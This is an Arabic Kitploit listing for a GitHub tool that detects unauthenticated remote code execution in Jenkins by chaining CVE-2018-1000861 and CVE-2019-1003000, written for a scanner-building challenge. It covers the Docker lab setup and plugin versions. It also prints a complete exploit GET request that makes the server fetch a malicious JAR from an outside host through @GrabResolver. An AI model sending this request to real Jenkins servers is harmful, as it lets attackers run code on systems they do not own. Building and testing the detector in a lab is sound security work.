Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-1003000_RCE-DETECTION — وحدة C# للكشف عما إذا كان خادم Jenkins معرضًا لثغرة RCE الموجودة في CVE-2019-1003000 (مقترنة بـ CVE-2018-1000861 لـ RCE بدون مصادقة مسبقة) | Kitploit
أدوات/GitHubGitHub/1nthekut/cve-2019-1003000_rce-detection
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراق
GitHub1nthekut/cve-2019-1003000_rce-detection

CVE-2019-1003000_RCE-DETECTION

وحدة C# للكشف عما إذا كان خادم Jenkins معرضًا لثغرة RCE الموجودة في CVE-2019-1003000 (مقترنة بـ CVE-2018-1000861 لـ RCE بدون مصادقة مسبقة)

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
42منذ 7 سنواتلم تتم المراجعة بعد

CVE-2019-1003000_RCE-DETECTION

ملخص عام

من خلال ربط الثغرة CVE-2018-1000861 مع CVE-2019-1003000، قمت بإنشاء وحدة لاختبار وجود RCE بدون مصادقة على Jenkins CI. في البداية، حاولت اكتشاف الثغرة باستخدام اسم مستخدم وكلمة مرور واسم وظيفة؛ لكنني اعتقدت أنه سيكون أكثر واقعية وإثارة للاهتمام التعامل مع هذا التحدي من خلال ربط الثغرتين معًا.

المتطلبات الأساسية

قم بتثبيت Visual Studio أو إطار العمل .NET Core على جهازك الذي يعمل بنظام Windows أو Linux أو macOS.

إعداد البيئة (كيف قمت بذلك)

  1. أولاً، قمت بسحب إصدار Docker المحدد (من تعليمات التحدي) من DockerHub: docker pull jenkins/jenkins:2.121
  2. ثم قمت بكتابة سكربت bash (موجود في هذا المستودع) لتشغيل حاوية Docker جديدة تعمل بخادم Jenkins الضعيف وربطها بالجهاز المحلي
    • مستخدم المسؤول
      • اسم المستخدم - Naruto
      • كلمة المرور - Uzumaki
      • الاسم - Naruto
  3. ثم توجهت إلى plugins.index.io للعثور على إصدارات محددة من الإضافات لتثبيتها في Jenkins
    • Declarative Plugin - https://updates.jenkins.io/download/plugins/pipeline-model-definition/
    • Groovy - https://updates.jenkins.io/download/plugins/workflow-cps/
    • Script Security Plugin - https://updates.jenkins.io/download/plugins/script-security/
    • Declarative Extension Points - https://updates.jenkins.io/download/plugins/pipeline-model-extensions/
      • بعد تثبيت الإضافات، انتقل إلى القسم 'Advanced' في 'Manage plugins' وامسح حقل Update Site واحفظ حتى لا يتم التحديث تلقائيًا عند إعادة التشغيل

التنفيذ (كيفية التثبيت والتشغيل)

  1. انتقل إلى دليل payload وقم بتشغيل mvDir.sh
    • قم بتشغيله كـ ./mvDir.sh
      • يجب أن يكون قد تم وضع علامة عليه كملف قابل للتنفيذ، إذا لم يكن كذلك، قم بتشغيل chmod +x mvDir.sh. إذا لم يعمل بعد، يمكنك تشغيله كـ bash mvDir.sh
      • سيعمل هذا الأمر على نقل الدليل الذي يحتوي على الجرة الضارة إلى جذر الكمبيوتر، حيث سيبحث طلب GET عند البحث عن ملف الجرة المحدد في الطلب الضار
  2. انتقل إلى jenkins_environment وقم بتشغيل ./run_vuln_jenkins.sh
    • اتبع التعليمات أعلاه إذا لم يعمل الأمر أعلاه.
    • سيعمل هذا السكربت bash على تشغيل حاوية Docker التي تستضيف خادم Jenkins الضعيف (على http://localhost:8080)
    • بالإضافة إلى ذلك، تشغيل ./run_updated_jenkins.sh أو bash run_updated_jenkins.sh سيشغل خادم Jenkins آمن ومحدث على http://localhost:8000 وتشغيل الوحدة ضده سيظهر أنه آمن وغير معرض لـ CVE-2018-1000861 المرتبطة بـ CVE-2019-1003000.
  3. انتقل إلى exploit-detection-code/jenkins-server-rce/
    • تم بناء هذا المشروع باستخدام إطار العمل .NET Core. لتشغيله، قم أولاً باستدعاء الأمر dotnet build

أفكار

كان التخطيط الأولي الذي قمت به إطارًا جيدًا لكيفية التعامل مع حل المشكلة؛ ومع ذلك، أثناء العمل اكتشفت أنني كنت أجعل الكثير من العمل أكثر تعقيدًا مما يجب. قمت في البداية بإنشاء سكربت bash لتشغيل قشرة عكسية (reverse shell) إلى جهاز المضيف لإثبات RCE. لكن الهدف من هذا التحدي كان إثبات وجود الثغرة. في هذه الحالة، كان إثبات إمكانية تنفيذ RCE على Jenkins الإصدار 2.121.2 مع الإضافات التالية: Pipeline: Declarative Plugin حتى 1.3.4، Pipeline: Declarative Extension Points API حتى 1.3.4، Pipeline: Groovy Plugin حتى 2.61، Script Security Plugin حتى 1.49.

لم أكن بحاجة فعليًا إلى إنشاء قشرة عكسية وإظهار أنني أستطيع تشغيل أوامر عشوائية. بسبب ذلك، أصبح من الأسهل الكشف على كل من أنظمة Windows و .nix. بعد إجراء طلب GET، وجدت أن الصفحة ستستجيب بحالة مميزة بأنها ناجحة أو ستطبع رسالة خطأ. ولكن للتأكد من أن حالة النجاح ليست إيجابية كاذبة، قمت بإعداد خادم ويب على جهازي المضيف باستخدام python -m SimpleHTTPSever 80 وعند إطلاق طلب GET المخصص إلى ملف JAR الضار المحدد (الموجود في مجلد payload)، يمكن ملاحظة أن طلب GET يستجيب برمز حالة 200 مع المسار الصحيح لملف jar الموجود على الجهاز المحلي، مما يثبت وجود الثغرة. أدناه نموذج لطلب GET والاستجابة المقابلة. مسارات الملفات المختلفة (tw/ و www/) كل منها يحتوي على الجرة الضارة؛ إنها مجرد مسارات مختلفة يبحث الطلب عنها للعثور عليها.

طلب GET

http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

المصادر المستخدمة

  • https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html?showComment=1556463533669#c1268121200706050658
  • https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
  • https://blog.alertlogic.com/emerging-threat-jenkins-plugins-remote-code-execution/
تنزيل الأداة
  • تشغيل الوحدة
    • لتشغيل الوحدة: dotnet run -- -u http://localhost:8080 -ip <host_ip_address>

      • من المهم عدم نسيان http:// وإلا سيرمي البرنامج استثناء HTTP وسيتعين عليك تشغيله مرة أخرى.
    • خيارات المعلمات

      ShortenedLongerDescription
      -uname--usernameاسم مستخدم Jenkins
      -p--passwordكلمة مرور مستخدم Jenkins
      -u--urlعنوان URL الهدف
      -ip--ip addressعنوان IP
      -v--verboseإخراج مفصل
    • لم يتم تنفيذ -p و -uname بعد لأنني أنشأت الوحدة فقط لاكتشاف RCE بدون مصادقة لأنني اعتقدت أنه سيكون أكثر واقعية لـ Detectify، لأنني أعتقد أن الماسح الضوئي للشركة سيكون موجهًا فقط إلى نطاق مستهدف (ولن يكون لديه معلمات مخصصة مثل كلمة مرور واسم مستخدم لأن ذلك سيكون أيضًا غير آمن لشركة أخرى لتقديمها لشركة أخرى حتى لو كانت تحاول تحسين وضعها الأمني).